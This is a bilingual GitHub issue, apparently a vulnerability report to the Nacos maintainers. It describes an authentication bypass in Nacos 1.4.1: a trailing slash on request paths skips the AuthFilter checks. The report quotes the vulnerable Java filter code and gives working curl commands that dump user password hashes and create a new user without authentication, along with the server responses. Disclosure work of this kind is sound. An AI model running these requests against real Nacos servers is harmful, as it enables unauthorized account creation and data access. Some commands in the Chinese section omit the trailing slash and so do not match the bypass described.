-
Notifications
You must be signed in to change notification settings - Fork 13.2k
Description
---------------------------------------------------------------------------- english
Hello, I’m threedr3am. I found that the latest version 1.4.1 of nacos still has a bypass problem for the serverIdentity key-value repair mechanism that bypasses security vulnerabilities in User-Agent. The custom key-value authentication of serverIdentity is enabled in nacos. Later, through the special url structure, it is still possible to bypass the restriction to access any http interface.
By viewing this function, you need to add the configuration nacos.core.auth.enable.userAgentAuthWhite:false in application.properties to avoid the ```User-Agent: Nacos-Server`'' bypassing authentication safe question.
But after turning on the mechanism, I found from the code that I can still bypass it under certain circumstances, make it invalid, and call any interface. Through this vulnerability, I can bypass the authentication and do:
Call the add user interface, add a new user (POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test), and then use the newly added user to log in to the console, Access, modify, and add data.
1. Vulnerability details
The problem mainly occurs in com.alibaba.nacos.core.auth.AuthFilter#doFilter:
public class AuthFilter implements Filter {
@Autowired
private AuthConfigs authConfigs;
@Autowired
private AuthManager authManager;
@Autowired
private ControllerMethodsCache methodsCache;
private Map<Class<? extends ResourceParser>, ResourceParser> parserInstance = new ConcurrentHashMap<>();
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
if (!authConfigs.isAuthEnabled()) {
chain.doFilter(request, response);
return;
}
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (authConfigs.isEnableUserAgentAuthWhite()) {
String userAgent = WebUtils.getUserAgent(req);
if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
chain.doFilter(request, response);
return;
}
} else if (StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils
.isNotBlank(authConfigs.getServerIdentityValue())) {
String serverIdentity = req.getHeader(authConfigs.getServerIdentityKey());
if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
chain.doFilter(request, response);
return;
}
Loggers.AUTH.warn("Invalid server identity value for {} from {}", authConfigs.getServerIdentityKey(),
req.getRemoteHost());
} else {
resp.sendError(HttpServletResponse.SC_FORBIDDEN,
"Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key`"
+ " and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`");
return;
}
try {
Method method = methodsCache.getMethod(req);
if (method == null) {
chain.doFilter(request, response);
return;
}
...鉴权代码
}
...
}
...
}
As you can see, the above three if else branches:
-
The first one is
authConfigs.isEnableUserAgentAuthWhite(), its default value is true, when the value is true, it will judge whether the request header User-Agent matchesUser-Agent: Nacos-Server`` `, if it matches, skip all subsequent logic and executechain.doFilter(request, response);``` -
The second one is
StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue())`, which is nacos 1.4.1 version forUser-Agent: Nacos- Server``` Simple fix for security issues -
The third one is to respond directly to the request to deny access when the previous two conditions are not met
The problem appears in the second branch. You can see that when the developer of nacos adds the configuration nacos.core.auth.enable.userAgentAuthWhite:false`'' in application.properties, the simple key-value authentication mechanism is turned on Then, it will get a value from the http header according to the nacos.core.auth.server.identity.keyconfigured by the developer, and then go to thenacos.core.auth.server. identity.value``` is matched, if it does not match, it will not enter the branch execution:
if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
chain.doFilter(request, response);
return;
}
But the problem is precisely here. The logic here should be to directly return denied access when there is a mismatch, but in fact we did not do this, which allows us to bypass the provision of conditions later.
Looking further down, the code comes to:
Method method = methodsCache.getMethod(req);
if (method == null) {
chain.doFilter(request, response);
return;
}
...鉴权代码
As you can see, there is a judgment method == null, as long as this condition is met, the subsequent authentication code will not go to.
By looking at the methodsCache.getMethod(req) code implementation, I found a method that can make the returned method null
com.alibaba.nacos.core.code.ControllerMethodsCache#getMethod
public Method getMethod(HttpServletRequest request) {
String path = getPath(request);
if (path == null) {
return null;
}
String httpMethod = request.getMethod();
String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
if (CollectionUtils.isEmpty(requestMappingInfos)) {
return null;
}
List<RequestMappingInfo> matchedInfo = findMatchedInfo(requestMappingInfos, request);
if (CollectionUtils.isEmpty(matchedInfo)) {
return null;
}
RequestMappingInfo bestMatch = matchedInfo.get(0);
if (matchedInfo.size() > 1) {
RequestMappingInfoComparator comparator = new RequestMappingInfoComparator();
matchedInfo.sort(comparator);
bestMatch = matchedInfo.get(0);
RequestMappingInfo secondBestMatch = matchedInfo.get(1);
if (comparator.compare(bestMatch, secondBestMatch) == 0) {
throw new IllegalStateException(
"Ambiguous methods mapped for '" + request.getRequestURI() + "': {" + bestMatch + ", "
+ secondBestMatch + "}");
}
}
return methods.get(bestMatch);
}
private String getPath(HttpServletRequest request) {
String path = null;
try {
path = new URI(request.getRequestURI()).getPath();
} catch (URISyntaxException e) {
LOGGER.error("parse request to path error", e);
}
return path;
}
In this code, you can clearly see that the return of the method value depends on
String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
The key of urlKey, whether the mapping value can be obtained from ConcurrentHashMap of urlLookup
In the composition of urlKey, there is a part of path, and there is a problem with the generation of this part. It is obtained in the following way:
new URI(request.getRequestURI()).getPath()
A normal visit, such as curl -XPOST'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test', the path obtained will be /nacos/v1/auth/users, and through a specially constructed URL, such as curl -XPOST'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password= test' --path-as-is, the path will be /nacos/v1/auth/users/
In this way, the path will be able to control the trailing slash'/', resulting in the method cannot be obtained from the ConcurrentHashMap urlLookup, why? Because basically all RequestMappings in nacos do not end with a slash'/', only The RequestMapping at the end of the non-slanted bar'/' exists and is stored in the ConcurrentHashMap of urlLookup, then the outermost method == null condition will be satisfied, thus bypassing the authentication mechanism.
2. The scope of the vulnerability
Sphere of influence: 1.4.1
3. loopholes reproduce
- Access user list interface
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9 --path-as-is'
As you can see, the authentication is bypassed and the user list data is returned
{
"totalCount": 1,
"pageNumber": 1,
"pagesAvailable": 1,
"pageItems": [
{
"username": "nacos",
"password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
}
]
}
- Add new user
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test --path-as-is'
As you can see, authentication has been bypassed and new users have been added
{
"code":200,
"message":"create user ok!",
"data":null
}
- View user list again
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9 --path-as-is'
As you can see, in the returned user list data, there is one more user we created by bypassing authentication.
{
"totalCount": 2,
"pageNumber": 1,
"pagesAvailable": 1,
"pageItems": [
{
"username": "nacos",
"password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
},
{
"username": "test",
"password": "$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
}
]
}
- Visit the homepage
http://127.0.0.1:8848/nacos/, log in to the new account, and you can do anything
---------------------------------------------------------------------------- 中文
你好,我是threedr3am,我发现nacos最新版本1.4.1对于User-Agent绕过安全漏洞的serverIdentity key-value修复机制,依然存在绕过问题,在nacos开启了serverIdentity的自定义key-value鉴权后,通过特殊的url构造,依然能绕过限制访问任何http接口。
通过查看该功能,需要在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false,才能避免User-Agent: Nacos-Server绕过鉴权的安全问题。
但在开启该机制后,我从代码中发现,任然可以在某种情况下绕过,使之失效,调用任何接口,通过该漏洞,我可以绕过鉴权,做到:
调用添加用户接口,添加新用户(POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test),然后使用新添加的用户登录console,访问、修改、添加数据。
一、漏洞详情
问题主要出现在com.alibaba.nacos.core.auth.AuthFilter#doFilter:
public class AuthFilter implements Filter {
@Autowired
private AuthConfigs authConfigs;
@Autowired
private AuthManager authManager;
@Autowired
private ControllerMethodsCache methodsCache;
private Map<Class<? extends ResourceParser>, ResourceParser> parserInstance = new ConcurrentHashMap<>();
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
if (!authConfigs.isAuthEnabled()) {
chain.doFilter(request, response);
return;
}
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (authConfigs.isEnableUserAgentAuthWhite()) {
String userAgent = WebUtils.getUserAgent(req);
if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
chain.doFilter(request, response);
return;
}
} else if (StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils
.isNotBlank(authConfigs.getServerIdentityValue())) {
String serverIdentity = req.getHeader(authConfigs.getServerIdentityKey());
if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
chain.doFilter(request, response);
return;
}
Loggers.AUTH.warn("Invalid server identity value for {} from {}", authConfigs.getServerIdentityKey(),
req.getRemoteHost());
} else {
resp.sendError(HttpServletResponse.SC_FORBIDDEN,
"Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key`"
+ " and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`");
return;
}
try {
Method method = methodsCache.getMethod(req);
if (method == null) {
chain.doFilter(request, response);
return;
}
...鉴权代码
}
...
}
...
}
可以看到,上面三个if else分支:
-
第一个是
authConfigs.isEnableUserAgentAuthWhite(),它默认值为true,当值为true时,会判断请求头User-Agent是否匹配User-Agent: Nacos-Server,若匹配,则跳过后续所有逻辑,执行chain.doFilter(request, response); -
第二个是
StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue()),也就是nacos 1.4.1版本对于User-Agent: Nacos-Server安全问题的简单修复 -
第三个是,当前面两个条件都不符合时,对请求直接作出拒绝访问的响应
问题出现在第二个分支,可以看到,当nacos的开发者在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false,开启该key-value简单鉴权机制后,会根据开发者配置的nacos.core.auth.server.identity.key去http header中获取一个value,去跟开发者配置的nacos.core.auth.server.identity.value进行匹配,若不匹配,则不进入分支执行:
if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
chain.doFilter(request, response);
return;
}
但问题恰恰就出在这里,这里的逻辑理应是在不匹配时,直接返回拒绝访问,而实际上并没有这样做,这就让我们后续去绕过提供了条件。
再往下看,代码来到:
Method method = methodsCache.getMethod(req);
if (method == null) {
chain.doFilter(request, response);
return;
}
...鉴权代码
可以看到,这里有一个判断method == null,只要满足这个条件,就不会走到后续的鉴权代码。
通过查看methodsCache.getMethod(req)代码实现,我发现了一个方法,可以使之返回的method为null
com.alibaba.nacos.core.code.ControllerMethodsCache#getMethod
public Method getMethod(HttpServletRequest request) {
String path = getPath(request);
if (path == null) {
return null;
}
String httpMethod = request.getMethod();
String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
if (CollectionUtils.isEmpty(requestMappingInfos)) {
return null;
}
List<RequestMappingInfo> matchedInfo = findMatchedInfo(requestMappingInfos, request);
if (CollectionUtils.isEmpty(matchedInfo)) {
return null;
}
RequestMappingInfo bestMatch = matchedInfo.get(0);
if (matchedInfo.size() > 1) {
RequestMappingInfoComparator comparator = new RequestMappingInfoComparator();
matchedInfo.sort(comparator);
bestMatch = matchedInfo.get(0);
RequestMappingInfo secondBestMatch = matchedInfo.get(1);
if (comparator.compare(bestMatch, secondBestMatch) == 0) {
throw new IllegalStateException(
"Ambiguous methods mapped for '" + request.getRequestURI() + "': {" + bestMatch + ", "
+ secondBestMatch + "}");
}
}
return methods.get(bestMatch);
}
private String getPath(HttpServletRequest request) {
String path = null;
try {
path = new URI(request.getRequestURI()).getPath();
} catch (URISyntaxException e) {
LOGGER.error("parse request to path error", e);
}
return path;
}
这个代码里面,可以很明确的看到,method值的返回,取决于
String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
urlKey这个key,是否能从urlLookup这个ConcurrentHashMap中获取到映射值
而urlKey的组成中,存在着path这一部分,而这一部分的生成,恰恰存在着问题,它是通过如下方式获得的:
new URI(request.getRequestURI()).getPath()
一个正常的访问,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test',得到的path将会是/nacos/v1/auth/users,而通过特殊构造的url,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test' --path-as-is,得到的path将会是/nacos/v1/auth/users/
通过该方式,将能控制该path多一个末尾的斜杆'/',导致从urlLookup这个ConcurrentHashMap中获取不到method,为什么呢,因为nacos基本全部的RequestMapping都没有以斜杆'/'结尾,只有非斜杆'/'结尾的RequestMapping存在并存入了urlLookup这个ConcurrentHashMap,那么,最外层的method == null条件将能满足,从而,绕过该鉴权机制。
二、漏洞影响范围
影响范围:
1.4.1
三、漏洞复现
- 访问用户列表接口
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9'
可以看到,绕过了鉴权,返回了用户列表数据
{
"totalCount": 1,
"pageNumber": 1,
"pagesAvailable": 1,
"pageItems": [
{
"username": "nacos",
"password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
}
]
}
- 添加新用户
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'
可以看到,绕过了鉴权,添加了新用户
{
"code":200,
"message":"create user ok!",
"data":null
}
- 再次查看用户列表
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'
可以看到,返回的用户列表数据中,多了一个我们通过绕过鉴权创建的新用户
{
"totalCount": 2,
"pageNumber": 1,
"pagesAvailable": 1,
"pageItems": [
{
"username": "nacos",
"password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
},
{
"username": "test",
"password": "$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
}
]
}
- 访问首页
http://127.0.0.1:8848/nacos/,登录新账号,可以做任何事情
regards,
threedr3am